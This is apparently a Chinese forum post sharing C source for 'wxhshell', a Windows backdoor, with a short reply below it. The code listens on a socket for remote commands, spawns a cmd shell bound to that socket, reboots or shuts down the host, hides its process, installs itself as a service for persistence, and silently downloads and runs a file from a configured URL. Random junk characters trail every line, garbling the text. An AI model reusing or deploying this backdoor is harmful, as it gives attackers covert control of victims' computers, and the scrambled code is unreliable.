  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e9_O/iN  
  else &pY G   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pOI`,i}.  
  } ]vkHU6d  
  else { )4_6\VaM  
.yfqS|(  
    switch(cmd[0]) { <&0*5|rR  
  Q%VR@[`\  
  // 帮助 2au(8IWu  
  case '?': { m3xj5]#^$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?M-8Fp3 +  
    break; ^\kHEM|5v  
  } (`y|AOs  
  // 安装 #M^Yh?~%w  
  case 'i': { ;6 qdOD6  
    if(Install()) *;yMD-=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o4 g  
    else {ZM2WFpE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^}7t:  
    break; xOyL2   
    } V\`= "  
  // 卸载 XhD fI &  
  case 'r': { *n_4Rr  
    if(Uninstall())  wY_-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZUJOBjb` K  
    else c2mt<DtWW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ru')X{]25  
    break; )zt4'b\)v  
    } RrpF i'R  
  // 显示 wxhshell 所在路径 {BCj VmY  
  case 'p': { HeifFJn  
    char svExeFile[MAX_PATH]; Y9L6W+=T  
    strcpy(svExeFile,"\n\r"); N_k6UA9  
      strcat(svExeFile,ExeFile); UR2)e{RXg  
        send(wsh,svExeFile,strlen(svExeFile),0); eL?si!ZL^  
    break; yIf}b  
    } ]bE?n.NwZ  
  // 重启 !gew;Jz  
  case 'b': { N&h!14]{ Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6Oba}`)q9  
    if(Boot(REBOOT)) 8 (h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^QQ NJ  
    else { 3X,{9+(F  
    closesocket(wsh); `h3}"js  
    ExitThread(0); 9Zsb1 M!n>  
    } 8si^HEQ8  
    break; ~[y+B0I3  
    }  de47O  
  // 关机 Hf{%N'4  
  case 'd': { &p4<@k\L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dTQvz9C  
    if(Boot(SHUTDOWN)) A":b_!sW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >D4Ez  
    else { 6jo&i  
    closesocket(wsh); B]F7t4Y!  
    ExitThread(0); "I FGW4FnL  
    } $cU/Im`  
    break; R,+(JgJ  
    } Byj~\QMD|  
  // 获取shell -?1J+}?  
  case 's': {  iPO S  
    CmdShell(wsh); y+afUJT  
    closesocket(wsh); /(pChY>  
    ExitThread(0); }/0dfes  
    break; yZ0ZP  
  } ~RAH -]  
  // 退出 2I 7`  
  case 'x': { u`@FA?+E1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R0<Vd"  
    CloseIt(wsh); $QBUnLOek&  
    break; X2?_lZ[\  
    } \U>Kn_7m  
  // 离开 E"&9FxS]^  
  case 'q': { jUSr t)o03  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >! .9g  
    closesocket(wsh); mxA )r5sx  
    WSACleanup(); <XrGr5=BV  
    exit(1); x.Ml~W[  
    break; p=gUcO8  
        } #zs\Z]3#  
  } l8Qi^<i/  
  } Y<fXuj|&  
g"? D>}@=  
  // 提示信息 A_|FsQ6$P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ta., 4R&K  
}  F]#fl%  
  } gSYX@'Q!  
):ZumG#o  
  return; }l!_m.#e  
} 0N;d)3  
i]?xM2(N  
// shell模块句柄 zRFM/IYC  
int CmdShell(SOCKET sock) z5vI0 N$  
{ as!j0j%  
STARTUPINFO si; S,RJ#.:F[t  
ZeroMemory(&si,sizeof(si)); Lta\AN!c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ye2Oh7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )1 j2  
PROCESS_INFORMATION ProcessInfo; Pv.@Y 30  
char cmdline[]="cmd"; ved Qwzh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0M+tKFb  
  return 0; ~"Ki2'j)^]  
} V/}8+Xq  
L(8dK  
// 自身启动模式 uI&M|u:nT  
int StartFromService(void) !I_4GE,  
{ TeqsP1{?  
typedef struct  |?A-?-  
{ 0+pJv0u  
  DWORD ExitStatus; .9Fm>e+!C  
  DWORD PebBaseAddress; ZE` {J =,  
  DWORD AffinityMask; c iX2G  
  DWORD BasePriority; 'v  X"l  
  ULONG UniqueProcessId; JvaaBXkS\  
  ULONG InheritedFromUniqueProcessId; c.v)M\:  
}   PROCESS_BASIC_INFORMATION; [F EQ@  
u`|fmVI  
PROCNTQSIP NtQueryInformationProcess; pj]<i.p  
+(%[fW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3: Uik  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O_^h 7   
#KW:OFT  
  HANDLE             hProcess;  ?~IZ{!  
  PROCESS_BASIC_INFORMATION pbi; '7s!N F2  
54w-yY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a"0~_=  
  if(NULL == hInst ) return 0; 55p=veq \  
m@~x*+Iz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  U2$T}/@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I r~X#$Upc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n]Y _C^  
}DaYO\:yK*  
  if (!NtQueryInformationProcess) return 0; kM`#U *j  
W$S.?[X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |3m%d2V*hF  
  if(!hProcess) return 0; uL F55:`<  
oVW?d]R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mM.&c5U  
9G~P)Z!0  
  CloseHandle(hProcess); qE{S'XyM,  
]XU#i#;c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (xL=X%6a  
if(hProcess==NULL) return 0; |=s3a5sl  
KK</5Aw9p  
HMODULE hMod; MzD0F#Y  
char procName[255]; JB<4 m4-  
unsigned long cbNeeded; Ji q[VeLe  
<!^Z|E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^ZG1  
NY x4& *le  
  CloseHandle(hProcess); Lt_]3g o  
l1WVt}  
if(strstr(procName,"services")) return 1; // 以服务启动 >kYyR.p.b  
Gj3/&'k6  
  return 0; // 注册表启动 X;h~s:LM  
} 1CbC|q  
.Ko`DH~!,C  
// 主模块 M .,|cx  
int StartWxhshell(LPSTR lpCmdLine) 2uIAnbW]M  
{ FhGbQJ?[3  
  SOCKET wsl; Q*: Ow]  
BOOL val=TRUE; *F0N'*  
  int port=0; iQF93:#  
  struct sockaddr_in door; n :P}K?lg  
?3#X5WT  
  if(wscfg.ws_autoins) Install(); f$|v  
xh0!H| R  
port=atoi(lpCmdLine); uypD`%pC  
LKa_ofY  
if(port<=0) port=wscfg.ws_port; V 6F,X`7  
TL>e[ PBO  
  WSADATA data; _qV_(TpS+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X}$S|1CjO  
Dg`W{oj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cb.Aw!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ( C&f~U  
  door.sin_family = AF_INET; R<-KXT9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &3<]FK  
  door.sin_port = htons(port); &!ZpBR(  
b11C3TyQT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *RPI$0  
closesocket(wsl); zw?6E8$h  
return 1; C$8=HM3  
} #u_-TWVt  
eC?N>wHH  
  if(listen(wsl,2) == INVALID_SOCKET) { /1*\*<cs  
closesocket(wsl); _N6GV$Q  
return 1; ~&kV  
} TUG3#PSnm*  
  Wxhshell(wsl); =B 9U  
  WSACleanup(); H,'c&  
2.yzR DfZ  
return 0; A!c.P2  
ZD3S|1zSQ  
} f4q-wX_1  
Jy9&=Qh   
// 以NT服务方式启动 3I]5DW %-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]#`bYh^y  
{ [{YV<kN  
DWORD   status = 0; ZYG"nmNd  
  DWORD   specificError = 0xfffffff; J#\/znT  
a`}-^;}SW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I/'>Bn+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mvux=Ws  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]BA8[2=m  
  serviceStatus.dwWin32ExitCode     = 0; sB $!X@  
  serviceStatus.dwServiceSpecificExitCode = 0; ~/t# J  
  serviceStatus.dwCheckPoint       = 0; xe d$z  
  serviceStatus.dwWaitHint       = 0; @_;6 L  
}+z}vb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fYwumx`J  
  if (hServiceStatusHandle==0) return; pcE.  
gbvBgOp  
status = GetLastError(); t^q/'9Ai&J  
  if (status!=NO_ERROR) il: ""x7^y  
{ N3,EF1%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l! GPOmf9`  
    serviceStatus.dwCheckPoint       = 0; aD.A +es  
    serviceStatus.dwWaitHint       = 0; D`u{U]  
    serviceStatus.dwWin32ExitCode     = status; Q,>AT$|  
    serviceStatus.dwServiceSpecificExitCode = specificError; mWZV O,t$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  A/9 wr  
    return; 7JbN WN  
  } #VLTx!5o  
O?P6rXKr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FK->|  
  serviceStatus.dwCheckPoint       = 0; cng 1k  
  serviceStatus.dwWaitHint       = 0; h-<+Pjc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qu?D`29  
} t JJaIb6Xj  
5z0SjQ  
// 处理NT服务事件,比如:启动、停止 dme_Ivt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E5B:79BGO  
{ E]bjI$j  
switch(fdwControl) 8$1<N  
{ ]1X];x&e  
case SERVICE_CONTROL_STOP: V4|pZ]  
  serviceStatus.dwWin32ExitCode = 0; oC[$PPqX#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Ic$p>  
  serviceStatus.dwCheckPoint   = 0; 'C(YUlT2?P  
  serviceStatus.dwWaitHint     = 0; X4jtti  
  { #U^@)g6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X"yLo8y8$  
  } <=WQs2  
  return; )AnX[:y  
case SERVICE_CONTROL_PAUSE: F*QGzbv)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zH.7!jeE  
  break; i),W1<A1  
case SERVICE_CONTROL_CONTINUE: "/K44(^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zT.qNtU%  
  break; U`xjau+  
case SERVICE_CONTROL_INTERROGATE: >XB Lm`a  
  break; [-Dx)N  
}; &P rx=L`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nx~8]h1(  
} YqYCW}$  
Iu=iC.50}  
// 标准应用程序主函数 *f1MgP*GKF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tip\vS)  
{ n<?:!f`   
<~'\~Zd+  
// 获取操作系统版本 >=wlS\:"  
OsIsNt=GetOsVer(); {@k5e) Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QD<f) JZK  
:hZYh.y\l  
  // 从命令行安装 |[8&5[);  
  if(strpbrk(lpCmdLine,"iI")) Install(); "Q ^Ck7  
'(;`t1V8k  
  // 下载执行文件 rlgp1>89  
if(wscfg.ws_downexe) { S_WYU&8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mc9%s$MT  
  WinExec(wscfg.ws_filenam,SW_HIDE); c{z QX0  
} >a[)F  
+Ibcc8Qud  
if(!OsIsNt) { L9"V$MO  
// 如果时win9x,隐藏进程并且设置为注册表启动 G;MmD?VJ g  
HideProc(); H{yeN 5   
StartWxhshell(lpCmdLine); u[})|x*N  
} FgLV>#)-  
else |.X?IJ`  
  if(StartFromService()) 8ex{N3  
  // 以服务方式启动 }5\F<b^@Y  
  StartServiceCtrlDispatcher(DispatchTable); LNtBYdB`pK  
else iCnKQG  
  // 普通方式启动 ,@Xl?  
  StartWxhshell(lpCmdLine); p1q"[)WVn^  
nKT\/}d  
return 0; l@%MS\{  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八